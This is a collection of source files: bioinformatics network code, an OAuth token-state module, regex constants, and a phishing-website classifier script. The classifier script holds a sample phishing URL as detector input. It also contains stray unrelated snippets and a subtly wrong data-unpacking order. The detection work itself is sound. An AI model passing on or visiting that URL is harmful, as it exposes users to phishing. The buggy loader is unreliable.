be able to merge with other\n # information later\n tmp = tmp.reset_index().melt(\n id_vars=tmp.index.name, var_name=\"tf\", value_name=\"weighted_binding\"\n )\n\n # Create dataframe with two columns: tf_gene and weighted_binding score\n tmp[\"tf_target\"] = tmp[\"tf\"] + \"_\" + tmp[\"gene\"]\n tmp[[\"tf_target\", \"weighted_binding\"]].to_csv(\n os.path.join(tmpdir, f\"{chrom}.csv\"), index=False\n )\n\n hdf.close()\n\n ddf = dd.read_csv(os.path.join(tmpdir, \"*.csv\")).set_index(\"tf_target\")\n return ddf\n\n def _save_temp_expression(self, df, name):\n tmp = df.rename(columns={\"tpm\": f\"{name}_expression\"})\n tmp[f\"{name}_expression\"] = minmax_scale(tmp[f\"{name}_expression\"].rank())\n tmp.index.rename(name, inplace=True)\n tmp[\"key\"] = 0\n fname = NamedTemporaryFile(\n prefix=\"ananse.\", suffix=f\".{name}.parquet\", delete=False\n ).name\n self._tmp_files.append(fname)\n tmp.reset_index().to_parquet(fname, index=False)\n return fname\n\n def create_expression_network(\n self, fin_expression, column=\"tpm\", tfs=None, bindingfile=None\n ):\n \"\"\"Create a gene expression based network.\n\n Based on a file with gene expression levels (a TPM column), a\n dask DataFrame is generated with the combined expression levels\n of the tf and the target gene. By default, the expresison levels\n are ranked and subsequently scaled between 0 and 1.\n\n Parameters\n ----------\n fin_expression : str or list\n One of more files that contains gene expression data.\n First column should contain the gene names in HGNC symbols.\n\n column : str, optional\n Column name that contains gene expression, 'tpm' by default (case insensitive).\n\n tfs : list, optional\n List of TF gene names. All TFs will be used by default.\n\n bindingfile : str, optional\n Output file from ANANSE binding.\n\n Returns\n -------\n Dask DataFrame with gene expression based values.\n \"\"\"\n # Convert to a list of filename(s)\n if isinstance(fin_expression, str):\n fin_expression = [fin_expression]\n\n # Read all expression input files and take the mean expression per gene\n re_column = re.compile(fr\"^{column}$\", re.IGNORECASE)\n expression = pd.DataFrame(\n pd.concat(\n [\n pd.read_table(f, index_col=0).filter(regex=re_column)\n for f in fin_expression\n ],\n axis=1,\n ).mean(1),\n columns=[column],\n )\n expression[column] = np.log2(expression[column] + 1e-5)\n\n genes = pd.read_table(\n self.gene_bed, usecols=[3], comment=\"#\", names=[\"name\"], index_col=0\n )\n overlap = len(genes.index.intersection(expression.index))\n if overlap / expression.shape[0] < 0.1:\n logger.error(\n \"gene annotation identifiers do not seem to match between annotation and expression files!\"\n )\n sample_exp = \", \".join(expression.sample(5).index.values)\n sample_gene = \", \".join(genes.sample(5).index.values)\n logger.error(f\"expression sample: {sample_exp}\")\n logger.error(f\"annotation sample: {sample_gene}\")\n sys.exit(1)\n\n # Create the TF list, based on valid transcription factors\n if tfs is None:\n try:\n act = pd.read_hdf(bindingfile, key=\"_factor_activity\")\n if \"factor\" in act.columns:\n act = act.set_index(\"factor\")\n tfs = list(set(act.index.tolist()))\n except KeyError:\n tffile = os.path.join(PACKAGE_DIR, \"db\", \"tfs.txt\")\n tfs = pd.read_csv(tffile, header=None)[0].tolist()\n\n # Save TFs and targets as temporary files\n idx = expression.index[expression.index.isin(tfs)]\n tmp = expression.loc[idx]\n if tmp.shape[0] == 0:\n logger.error(\n \"None of the transcription factors are found in your expression file.\"\n )\n logger.error(\n \"If you have human data, please make sure you use HGNC symbols (gene names).\"\n )\n logger.error(\n \"If you have non-human data, you have to create a custom motif to gene mapping.\"\n )\n logger.error(\"See this link for one possibility to create this file: \")\n logger.error(\n \"https://gimmemotifs.readthedocs.io/en/stable/reference.html#command-gimme-motif2factors\"\n )\n logger.error(\n \"If you use a custom motif mapping, you will also have (re)run `gimme binding` with this file.\"\n )\n sys.exit(1)\n\n tf_fname = self._save_temp_expression(tmp, \"tf\")\n target_fname = self._save_temp_expression(expression, \"target\")\n\n # Read files (delayed) and merge on 'key' to create a Cartesian product\n # combining all TFs with all target genes.\n a = dd.read_parquet(tf_fname)\n b = dd.read_parquet(target_fname)\n network = a.merge(b, how=\"outer\")\n\n # Use one-column index that contains TF and target genes.\n # This is necessary for dask, as dask cannot merge on a MultiIndex.\n # Otherwise this would be an inefficient and unnecessary step.\n network[\"tf_target\"] = network[\"tf\"] + \"_\" + network[\"target\"]\n network = network[\n [\"tf\", \"target\", \"tf_target\", \"tf_expression\", \"target_expression\"]\n ]\n\n return network\n\n def run_network(\n self,\n binding,\n fin_expression=None,\n tfs=None,\n outfile=None,\n up=1e5,\n down=1e5,\n alpha=None,\n promoter=2000,\n full_weight_region=5000,\n ):\n \"\"\"Create network.\n\n Parameters\n ----------\n binding : str\n Filename with binding information. Should contain at least three\n columns: \"factor\", \"enhancer\" and \"binding\".\n fin_expression : str or list, optional\n Filename of list of filenames with expression information.\n tfs : list, optional\n List of transcription factors to use, by default None, which means\n all TFs will be used.\n outfile : str, optional\n Output file. If None, returns a dataframe.\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distabce, by default 100kb.\n alpha : float, optional\n Parameter to control weight decay, by default 1e4.\n promoter : int, optional\n Promoter region, by default 2000.\n full_weight_region : int, optional\n Region that will receive full weight, by default 5000.\"\"\"\n # Expression base network\n logger.info(\"Loading expression\")\n df_expression = self.create_expression_network(\n fin_expression, tfs=tfs, bindingfile=binding\n )\n\n # Use a version of the binding network, either promoter-based, enhancer-based\n # or both.\n if self.include_promoter or self.include_enhancer:\n df_binding = self.aggregate_binding(\n binding,\n tfs=tfs,\n up=up,\n down=down,\n alpha=alpha,\n promoter=promoter,\n full_weight_region=full_weight_region,\n combine_function=\"sum\",\n )\n\n try:\n act = pd.read_hdf(binding, key=\"_factor_activity\")\n if \"factor\" in act.columns:\n act = act.set_index(\"factor\")\n logger.info(\"Reading factor activity\")\n act.index.name = \"tf\"\n act[\"activity\"] = minmax_scale(rankdata(act[\"activity\"], method=\"min\"))\n df_expression = df_expression.merge(\n act, right_index=True, left_on=\"tf\", how=\"left\"\n ).fillna(0.5)\n except KeyError:\n pass\n\n df_expression = df_expression.drop(columns=[\"tf\"])\n\n # This is where the heavy lifting of all delayed computations gets done\n # logger.info(\"Computing network\")\n if fin_expression is not None:\n result = df_expression.merge(\n df_binding, right_index=True, left_on=\"tf_target\", how=\"left\"\n )\n result = result.persist()\n result = result.fillna(0)\n logger.info(\"Computing network\")\n progress(result)\n result = result.compute()\n else:\n result = df_binding\n\n result[\"weighted_binding\"] = minmax_scale(\n rankdata(result[\"weighted_binding\"], method=\"min\")\n )\n columns = [\n \"tf_expression\",\n \"target_expression\",\n \"weighted_binding\",\n \"activity\",\n ]\n columns = [col for col in columns if col in result]\n logger.info(f\"Using {', '.join(columns)}\")\n # Combine the individual scores\n result[\"prob\"] = result[columns].mean(1)\n\n else:\n result = df_expression\n result[\"prob\"] = result[[\"tf_expression\", \"target_expression\"]].mean(1)\n result = result.compute()\n\n if outfile:\n logger.info(\"Writing network\")\n out_dir = os.path.abspath(os.path.dirname(outfile))\n os.makedirs(out_dir, exist_ok=True)\n result[[\"tf_target\", \"prob\"]].to_csv(outfile, sep=\"\\t\", index=False)\n else:\n return result[[\"tf_target\", \"prob\"]]\n\n def __del__(self):\n if not hasattr(self, \"_tmp_files\"):\n return\n\n for fname in self._tmp_files:\n if os.path.exists(fname):\n shutil.rmtree(fname, ignore_errors=True)\n\n\ndef region_gene_overlap(\n region_pr,\n gene_bed,\n up=100_000,\n down=100_000,\n):\n \"\"\"\n Couple enhancers to genes.\n\n Parameters\n ----------\n region_pr : PyRanges object\n PyRanges object with enhancer regions.\n gene_bed : str\n gene_bed\n up : int, optional\n Upstream maximum distance, by default 100kb.\n down : int, optional\n Upstream maximum distance, by default 100kb.\n\n Returns\n -------\n pandas.DataFrame\n DataFrame with enhancer regions, gene names, distance and weight.\n \"\"\"\n genes = pr.read_bed(gene_bed)\n # Convert to DataFrame & we don't need intron/exon information\n genes = genes.as_df().iloc[:, :6]\n\n # Get the TSS only\n genes.loc[genes[\"Strand\"] == \"+\", \"End\"] = genes.loc[\n genes[\"Strand\"] == \"+\", \"Start\"\n ]\n genes.loc[genes[\"Strand\"] == \"-\", \"Start\"] = genes.loc[\n genes[\"Strand\"] == \"-\", \"End\"\n ]\n\n # Extend up and down\n genes.loc[genes[\"Strand\"] == \"+\", \"Start\"] -= up\n genes.loc[genes[\"Strand\"] == \"+\", \"End\"] += down\n genes.loc[genes[\"Strand\"] == \"-\", \"Start\"] -= down\n genes.loc[genes[\"Strand\"] == \"-\", \"End\"] += up\n\n # Perform the overlap\n genes = pr.PyRanges(genes)\n genes = genes.join(region_pr).as_df()\n\n return genes\n", "source": "Maarten-vd-Sande/ANANSE", "license": "MIT"} {"text": "import logging\nimport time\nimport uuid\n\nfrom oic.extension.message import TokenIntrospectionResponse\nfrom oic.oic.message import AuthorizationRequest\n\nfrom .access_token import AccessToken\nfrom .exceptions import InvalidAccessToken\nfrom .exceptions import InvalidAuthorizationCode\nfrom .exceptions import InvalidRefreshToken\nfrom .exceptions import InvalidScope\nfrom .exceptions import InvalidSubjectIdentifier\nfrom .util import requested_scope_is_allowed\n\nlogger = logging.getLogger(__name__)\n\n\ndef rand_str():\n return uuid.uuid4().hex\n\n\n# TODO remove expired/invalid authorization codes/tokens from db's\n\nclass AuthorizationState(object):\n KEY_AUTHORIZATION_REQUEST = 'auth_req'\n\n def __init__(self, subject_identifier_factory, authorization_code_db=None, access_token_db=None,\n refresh_token_db=None, subject_identifier_db=None, *,\n authorization_code_lifetime=600, access_token_lifetime=3600, refresh_token_lifetime=None,\n refresh_token_threshold=None):\n # type: (se_leg_op.token_state.SubjectIdentifierFactory, Mapping[str, Any], Mapping[str, Any],\n # Mapping[str, Any], Mapping[str, Any], int, int, Optional[int], Optional[int]) -> None\n \"\"\"\n :param subject_identifier_factory: callable to use when construction subject identifiers\n :param authorization_code_db: database for storing authorization codes, defaults to in-memory\n dict if not specified\n :param access_token_db: database for storing access tokens, defaults to in-memory\n dict if not specified\n :param refresh_token_db: database for storing refresh tokens, defaults to in-memory\n dict if not specified\n :param subject_identifier_db: database for storing subject identifiers, defaults to in-memory\n dict if not specified\n :param authorization_code_lifetime: how long before authorization codes should expire (in seconds),\n defaults to 10 minutes\n :param access_token_lifetime: how long before access tokens should expire (in seconds),\n defaults to 1 hour\n :param refresh_token_lifetime: how long before refresh tokens should expire (in seconds),\n defaults to never issuing a refresh token if not defined\n :param refresh_token_threshold: how long before refresh token expiry time a new one should be issued (in\n seconds) in a token refresh request, defaults to never issuing a new refresh token\n \"\"\"\n\n if not subject_identifier_factory:\n raise ValueError('subject_identifier_factory can\\'t be None')\n self._subject_identifier_factory = subject_identifier_factory\n\n self.authorization_code_lifetime = authorization_code_lifetime\n \"\"\"\n Mapping of authorization codes to the subject identifier and auth request.\n \"\"\"\n self.authorization_codes = authorization_code_db if authorization_code_db is not None else {}\n\n self.access_token_lifetime = access_token_lifetime\n \"\"\"\n Mapping of access tokens to the scope, token type, client id and subject identifier.\n \"\"\"\n self.access_tokens = access_token_db if access_token_db is not None else {}\n\n self.refresh_token_lifetime = refresh_token_lifetime\n self.refresh_token_threshold = refresh_token_threshold\n \"\"\"\n Mapping of refresh tokens to access tokens.\n \"\"\"\n self.refresh_tokens = refresh_token_db if refresh_token_db is not None else {}\n\n \"\"\"\n Mapping of user id's to subject identifiers.\n \"\"\"\n self.subject_identifiers = subject_identifier_db if subject_identifier_db is not None else {}\n\n def create_authorization_code(self, authorization_request, subject_identifier, scope=None):\n # type: (oic.oic.message.AuthorizationRequest, str, Optional[List[str]]) -> str\n \"\"\"\n Creates an authorization code bound to the authorization request and the authenticated user identified\n by the subject identifier.\n \"\"\"\n\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n scope = ' '.join(scope or authorization_request['scope'])\n logger.debug('creating authz code for scope=%s', scope)\n\n authorization_code = rand_str()\n authz_info = {\n 'used': False,\n 'exp': int(time.time()) + self.authorization_code_lifetime,\n 'sub': subject_identifier,\n 'granted_scope': scope,\n self.KEY_AUTHORIZATION_REQUEST: authorization_request.to_dict()\n }\n self.authorization_codes[authorization_code] = authz_info\n logger.debug('new authz_code=%s to client_id=%s for sub=%s valid_until=%s', authorization_code,\n authorization_request['client_id'], subject_identifier, authz_info['exp'])\n return authorization_code\n\n def create_access_token(self, authorization_request, subject_identifier, scope=None):\n # type: (oic.oic.message.AuthorizationRequest, str, Optional[List[str]]) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Creates an access token bound to the authentication request and the authenticated user identified by the\n subject identifier.\n \"\"\"\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n scope = scope or authorization_request['scope']\n\n return self._create_access_token(subject_identifier, authorization_request.to_dict(), ' '.join(scope))\n\n def _create_access_token(self, subject_identifier, auth_req, granted_scope, current_scope=None):\n # type: (str, Mapping[str, Union[str, List[str]]], str, Optional[str]) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Creates an access token bound to the subject identifier, client id and requested scope.\n \"\"\"\n access_token = AccessToken(rand_str(), self.access_token_lifetime)\n\n scope = current_scope or granted_scope\n logger.debug('creating access token for scope=%s', scope)\n\n authz_info = {\n 'iat': int(time.time()),\n 'exp': int(time.time()) + self.access_token_lifetime,\n 'sub': subject_identifier,\n 'client_id': auth_req['client_id'],\n 'aud': [auth_req['client_id']],\n 'scope': scope,\n 'granted_scope': granted_scope,\n 'token_type': access_token.BEARER_TOKEN_TYPE,\n self.KEY_AUTHORIZATION_REQUEST: auth_req\n }\n self.access_tokens[access_token.value] = authz_info\n\n logger.debug('new access_token=%s to client_id=%s for sub=%s valid_until=%s',\n access_token.value, auth_req['client_id'], subject_identifier, authz_info['exp'])\n return access_token\n\n def exchange_code_for_token(self, authorization_code):\n # type: (str) -> se_leg_op.access_token.AccessToken\n \"\"\"\n Exchanges an authorization code for an access token.\n \"\"\"\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n authz_info = self.authorization_codes[authorization_code]\n if authz_info['used']:\n logger.debug('detected already used authz_code=%s', authorization_code)\n raise InvalidAuthorizationCode('{} has already been used'.format(authorization_code))\n elif authz_info['exp'] < int(time.time()):\n logger.debug('detected expired authz_code=%s, now=%s > exp=%s ',\n authorization_code, int(time.time()), authz_info['exp'])\n raise InvalidAuthorizationCode('{} has expired'.format(authorization_code))\n\n authz_info['used'] = True\n\n access_token = self._create_access_token(authz_info['sub'], authz_info[self.KEY_AUTHORIZATION_REQUEST],\n authz_info['granted_scope'])\n\n logger.debug('authz_code=%s exchanged to access_token=%s', authorization_code, access_token.value)\n return access_token\n\n def introspect_access_token(self, access_token_value):\n # type: (str) -> Dict[str, Union[str, List[str]]]\n \"\"\"\n Returns authorization data associated with the access token.\n See \"Token Introspection\", Section 2.2.\n \"\"\"\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n authz_info = self.access_tokens[access_token_value]\n\n introspection = {'active': authz_info['exp'] >= int(time.time())}\n\n introspection_params = {k: v for k, v in authz_info.items() if k in TokenIntrospectionResponse.c_param}\n introspection.update(introspection_params)\n return introspection\n\n def create_refresh_token(self, access_token_value):\n # type: (str) -> str\n \"\"\"\n Creates an refresh token bound to the specified access token.\n \"\"\"\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n if not self.refresh_token_lifetime:\n logger.debug('no refresh token issued for for access_token=%s', access_token_value)\n return None\n\n refresh_token = rand_str()\n authz_info = {'access_token': access_token_value, 'exp': int(time.time()) + self.refresh_token_lifetime}\n self.refresh_tokens[refresh_token] = authz_info\n\n logger.debug('issued refresh_token=%s expiring=%d for access_token=%s', refresh_token, authz_info['exp'],\n access_token_value)\n return refresh_token\n\n def use_refresh_token(self, refresh_token, scope=None):\n # type (str, Optional[List[str]]) -> Tuple[se_leg_op.access_token.AccessToken, Optional[str]]\n \"\"\"\n Creates a new access token, and refresh token, based on the supplied refresh token.\n :return: new access token and new refresh token if the old one had an expiration time\n \"\"\"\n\n if refresh_token not in self.refresh_tokens:\n raise InvalidRefreshToken('{} unknown'.format(refresh_token))\n\n refresh_token_info = self.refresh_tokens[refresh_token]\n if 'exp' in refresh_token_info and refresh_token_info['exp'] < int(time.time()):\n raise InvalidRefreshToken('{} has expired'.format(refresh_token))\n\n authz_info = self.access_tokens[refresh_token_info['access_token']]\n\n if scope:\n if not requested_scope_is_allowed(scope, authz_info['granted_scope']):\n logger.debug('trying to refresh token with superset scope, requested_scope=%s, granted_scope=%s',\n scope, authz_info['granted_scope'])\n raise InvalidScope('Requested scope includes non-granted value')\n scope = ' '.join(scope)\n logger.debug('refreshing token with new scope, old_scope=%s -> new_scope=%s', authz_info['scope'], scope)\n else:\n # OAuth 2.0: scope: \"[...] if omitted is treated as equal to the scope originally granted by the resource owner\"\n scope = authz_info['granted_scope']\n\n new_access_token = self._create_access_token(authz_info['sub'], authz_info[self.KEY_AUTHORIZATION_REQUEST],\n authz_info['granted_scope'], scope)\n\n new_refresh_token = None\n if self.refresh_token_threshold \\\n and 'exp' in refresh_token_info \\\n and refresh_token_info['exp'] - int(time.time()) < self.refresh_token_threshold:\n # refresh token is close to expiry, issue a new one\n new_refresh_token = self.create_refresh_token(new_access_token.value)\n else:\n self.refresh_tokens[refresh_token]['access_token'] = new_access_token.value\n\n logger.debug('refreshed tokens, new_access_token=%s new_refresh_token=%s old_refresh_token=%s',\n new_access_token, new_refresh_token, refresh_token)\n return new_access_token, new_refresh_token\n\n def get_subject_identifier(self, subject_type, user_id, sector_identifier=None):\n # type: (str, str, str) -> str\n \"\"\"\n Returns a subject identifier for the local user identifier.\n :param subject_type: 'pairwise' or 'public', see\n \n \"OpenID Connect Core 1.0\", Section 8.\n :param user_id: local user identifier\n :param sector_identifier: the client's sector identifier,\n see \n \"OpenID Connect Core 1.0\", Section 1.2\n \"\"\"\n\n if user_id not in self.subject_identifiers:\n self.subject_identifiers[user_id] = {}\n\n if subject_type == 'public':\n if 'public' not in self.subject_identifiers[user_id]:\n new_sub = self._subject_identifier_factory.create_public_identifier(user_id)\n self.subject_identifiers[user_id] = {'public': new_sub}\n\n logger.debug('created new public sub=%s for user_id=%s',\n self.subject_identifiers[user_id]['public'], user_id)\n sub = self.subject_identifiers[user_id]['public']\n logger.debug('returning public sub=%s', sub)\n return sub\n elif subject_type == 'pairwise':\n if not sector_identifier:\n raise ValueError('sector_identifier cannot be None or empty')\n\n subject_id = self._subject_identifier_factory.create_pairwise_identifier(user_id, sector_identifier)\n logger.debug('returning pairwise sub=%s for user_id=%s and sector_identifier=%s',\n subject_id, user_id, sector_identifier)\n sub = self.subject_identifiers[user_id]\n pairwise_set = set(sub.get('pairwise', []))\n pairwise_set.add(subject_id)\n sub['pairwise'] = list(pairwise_set)\n self.subject_identifiers[user_id] = sub\n return subject_id\n\n raise ValueError('Unknown subject_type={}'.format(subject_type))\n\n def _is_valid_subject_identifier(self, sub):\n # type: (str) -> str\n \"\"\"\n Determines whether the subject identifier is known.\n \"\"\"\n\n try:\n self.get_user_id_for_subject_identifier(sub)\n return True\n except InvalidSubjectIdentifier:\n return False\n\n def get_user_id_for_subject_identifier(self, subject_identifier):\n for user_id, subject_identifiers in self.subject_identifiers.items():\n is_public_sub = 'public' in subject_identifiers and subject_identifier == subject_identifiers['public']\n is_pairwise_sub = 'pairwise' in subject_identifiers and subject_identifier in subject_identifiers[\n 'pairwise']\n if is_public_sub or is_pairwise_sub:\n return user_id\n\n raise InvalidSubjectIdentifier('{} unknown'.format(subject_identifier))\n\n def get_authorization_request_for_code(self, authorization_code):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n return AuthorizationRequest().from_dict(\n self.authorization_codes[authorization_code][self.KEY_AUTHORIZATION_REQUEST])\n\n def get_authorization_request_for_access_token(self, access_token_value):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if access_token_value not in self.access_tokens:\n raise InvalidAccessToken('{} unknown'.format(access_token_value))\n\n return AuthorizationRequest().from_dict(self.access_tokens[access_token_value][self.KEY_AUTHORIZATION_REQUEST])\n\n def get_subject_identifier_for_code(self, authorization_code):\n # type: (str) -> oic.oic.message.AuthorizationRequest\n if authorization_code not in self.authorization_codes:\n raise InvalidAuthorizationCode('{} unknown'.format(authorization_code))\n\n return self.authorization_codes[authorization_code]['sub']\n\n def delete_state_for_subject_identifier(self, subject_identifier):\n # type (str) -> None\n if not self._is_valid_subject_identifier(subject_identifier):\n raise InvalidSubjectIdentifier('Trying to delete state for unknown subject identifier')\n\n for tokens in [self.authorization_codes, self.access_tokens]:\n tokens_to_remove = [k for k, v in tokens.items() if v['sub'] == subject_identifier]\n for ac in tokens_to_remove:\n tokens.pop(ac, None)\n", "source": "REANNZ/pyop", "license": "Apache-2.0"} {"text": "# ===============================================================================\n# Copyright 2014 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\n# ============= standard library imports ========================\nfrom __future__ import absolute_import\nimport re\n# ============= local library imports ==========================\n# match .current_point\nCP_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.(current|cur)')\n# match .std_dev\nSTD_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.(std_dev|sd|stddev)')\n# match .inactive\nACTIVE_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.inactive')\n\n# Functions\ndef make_func_regex(r):\n reg = r'(not ){{0,1}}{}'.format(r)\n return re.compile(reg)\n\n# match average(ar##)\nAVG_REGEX = make_func_regex('average\\([A-Za-z]+\\d*\\)')\n# AVG_REGEX = re.compile(r'average\\([A-Za-z]+\\d*\\)')\n# match max(ar##)\nMAX_REGEX = make_func_regex(r'max\\([A-Za-z]+\\d*\\)')\n# MAX_REGEX = re.compile(r'max\\([A-Za-z]+\\d*\\)')\n# match min(ar##)\nMIN_REGEX = make_func_regex(r'min\\([A-Za-z]+\\d*\\)')\n# MIN_REGEX = re.compile(r'min\\([A-Za-z]+\\d*\\)')\n# match slope(ar##)\n# SLOPE_REGEX = re.compile(r'slope\\([A-Za-z]+\\d*\\)')\nSLOPE_REGEX = make_func_regex(r'slope\\([A-Za-z]+\\d*\\)')\n# match between(age, 0,10)\n# BETWEEN_REGEX = make_func_regex(r'between\\([\\w\\d\\s]+(\\.\\w+)*\\s*,\\s*[-\\d+]+(\\.\\d)*(\\s*,\\s*[-\\d+]+(\\.\\d)*)\\)')\nBETWEEN_REGEX = make_func_regex(r'between\\([\\w\\d\\s\\(\\)]+(\\.\\w+)*\\s*,\\s*[-\\d+]+(\\.\\d)*(\\s*,\\s*[-\\d+]+(\\.\\d)*)\\)')\n\n\n# match x in x**2+3x+1\nMAPPER_KEY_REGEX = re.compile(r'[A-Za-z]+')\n\n# match kca, ar40, etc..\nKEY_REGEX = re.compile(r'[A-Za-z]+\\d*')\n\nBASELINE_REGEX = re.compile(r'[\\w\\d]+\\.bs')\nBASELINECOR_REGEX = re.compile(r'[\\w\\d]+\\.bs_corrected')\n\nPARENTHESES_REGEX = re.compile(r'\\([\\w\\d\\s]+\\)')\n\nCOMP_REGEX = re.compile(r'<=|>=|>|<|==')\n\nDEFLECTION_REGEX = re.compile(r'[\\w]+[\\w\\d]+\\({0,1}[\\w\\d]+\\){0,1}\\.deflection')\n\nRATIO_REGEX = re.compile(r'[A-Za-z]{1,2}\\d{1,2}/[A-Za-z]{1,2}\\d{1,2}')\n\nARGS_REGEX = re.compile(r'\\(.+\\)')\n\nPRESSURE_REGEX = re.compile(r'\\w+\\.\\w+\\.pressure')\nDEVICE_REGEX = re.compile(r'device\\.\\w+')\n\nINTERPOLATE_REGEX = re.compile(r'\\$\\w+')\n\n\nEXTRACTION_STR_PERCENT_REGEX = re.compile(r'\\d+%(,\\d+%)*$')\nEXTRACTION_STR_ABS_REGEX = re.compile(r'\\d+(\\.\\d+)*(,\\d+(\\.\\d+)*)*$')\n# ============= EOF =============================================\n\n\n\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "import difflib\n\nfrom sklearn import tree\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import train_test_split\nfrom utils import generate_data_set\n\nimport numpy as np\nimport sys\nfrom pyspark.sql.functions import udf\n\ndef intersect(xs):\n xs = set(xs)\n @udf(\"array\")\n def _(ys):\n return list(xs.intersection(ys))\n return _\na_list = [1, 4, 6]\n\ndf = spark.createDataFrame([\n (1, [3, 4, 8]), (2, [7, 2, 6])\n], (\"id\", \"articles\"))\n\ndf.withColumn(\"intersect\", intersect(a_list)(\"articles\")).show()\n\ndef load_data():\n '''\n Load data from CSV file\n '''\n # Load the training data from the CSV file\n training_data = np.genfromtxt('dataset.csv', delimiter=',', dtype=np.int32)\n\n # Extract the inputs from the training data\n inputs = training_data[:,:-1]\n\n # Extract the outputs from the training data\n outputs = training_data[:, -1]\n\n # This model follow 80-20 rule on dataset\n # Split 80% for traning and 20% testing\n boundary = int(0.8*len(inputs))\n\n training_inputs, training_outputs, testing_inputs, testing_outputs = train_test_split(inputs, outputs, test_size=0.33)\n\n # Return the four arrays\n return training_inputs, training_outputs, testing_inputs, testing_outputs\n\ndef run(classifier, name):\n '''\n Run the classifier to calculate the accuracy score\n '''\n # Load the training data\n train_inputs, test_inputs,train_outputs, test_outputs = load_data()\n\n # Train the decision tree classifier\n classifier.fit(train_inputs, train_outputs)\n\n # Use the trained classifier to make predictions on the test data\n predictions = classifier.predict(test_inputs)\n\n # Print the accuracy (percentage of phishing websites correctly predicted)\n accuracy = 100.0 * accuracy_score(test_outputs, predictions)\n print (\"Accuracy score using {} is: {}\\n\".format(name, accuracy))\n\n#\n# if __name__ == '__main__':\n# '''\n# Main function -\n# Following are several models trained to detect phishing webstes.\n# Only the best and worst classifier outputs are displayed.\n# '''\n#\n# # Decision tree\n# # classifier = tree.DecisionTreeClassifier()\n# # run(classifier, \"Decision tree\")\n#\n# # Random forest classifier (low accuracy)\n# # classifier = RandomForestClassifier()\n# # run(classifier, \"Random forest\")\n#\n# # Custom random forest classifier 1\n# print (\"Best classifier for detecting phishing websites.\")\n# classifier = RandomForestClassifier(n_estimators=500, max_depth=15, max_leaf_nodes=10000)\n# run(classifier, \"Random forest\")\n#\n# # Linear SVC classifier\n# # classifier = svm.SVC(kernel='linear')\n# # run(classifier, \"SVC with linear kernel\")\n#\n# # RBF SVC classifier\n# # classifier = svm.SVC(kernel='rbf')\n# # run(classifier, \"SVC with rbf kernel\")\n#\n# # Custom SVC classifier 1\n# # classifier = svm.SVC(decision_function_shape='ovo', kernel='linear')\n# # run(classifier, \"SVC with ovo shape\")\n#\n# # Custom SVC classifier 2\n# # classifier = svm.SVC(decision_function_shape='ovo', kernel='rbf')\n# # run(classifier, \"SVC with ovo shape\")\n#\n# # NuSVC classifier\n# # classifier = svm.NuSVC()\n# # run(classifier, \"NuSVC\")\n#\n# # OneClassSVM classifier\n# print (\"Worst classifier for detecting phishing websites.\")\n# classifier = svm.OneClassSVM()\n# run(classifier, \"One Class SVM\")\n#\n# # print \"K nearest neighbours algorithm.\"\n# # nbrs = KNeighborsClassifier(n_neighbors=5, algorithm='ball_tree')\n# # run(nbrs, \"K nearest neighbours\")\n#\n# # Gradient boosting classifier\n# # classifier = GradientBoostingClassifier()\n# # run(classifier, \"GradientBoostingClassifier\")\n#\n# # Take user input and check whether its phishing URL or not.\n#\n# data_set = generate_data_set(\"http://kettlebellworkoutspot.com/wp-contact.php?sponsore=kaufentiele.de/1/&dir=/CRYSZnk/&type=x6&orders=779507949&payment?f=ZqWGIkC\")\n#\n# # Reshape the array\n# data_set = np.array(data_set).reshape(1, -1)\n#\n# # Load the date\n# train_inputs, test_inputs,train_outputs, test_outputs = load_data()\n#\n# # Create and train the classifier\n# classifier = RandomForestClassifier(n_estimators=500, max_depth=15, max_leaf_nodes=10000)\n# classifier.fit(train_inputs, train_outputs)\n#\n# print (classifier.predict(data_set))\n# # [-1, 1, -1, -1, 1, 1, 0, -1, -1, -1, -1, 1, -1, -1, -1, 0, 1, -1, -1, -1, -1, -1, 1, 1, -1, -1, -1, -1, -1, -1]\n\nfrom similaritymeasures import Similarity\n\n\ndef main():\n \"\"\" the main function to create Similarity class instance and get used to it \"\"\"\n\n measures = Similarity()\n\n print(measures.euclidean_distance([0, 3, 4, 5], [7, 6, 3, -1]))\n print(measures.jaccard_similarity([0, 1, 2, 5, 6], [0, 2, 3, 5, 7, 9]))\n\n\nif __name__ == \"__main__\":\n main()", "source": "Ismael-Safadi/Detect-phishing-websites-using-ML-twitter-grabber-2", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 15 07:07:42 2021\r\n\r\n@author: a\r\n\"1=4444444444444\r\nimport requests\r\n\r\nfrom bs4 import BeautifulSoup\r\nimport 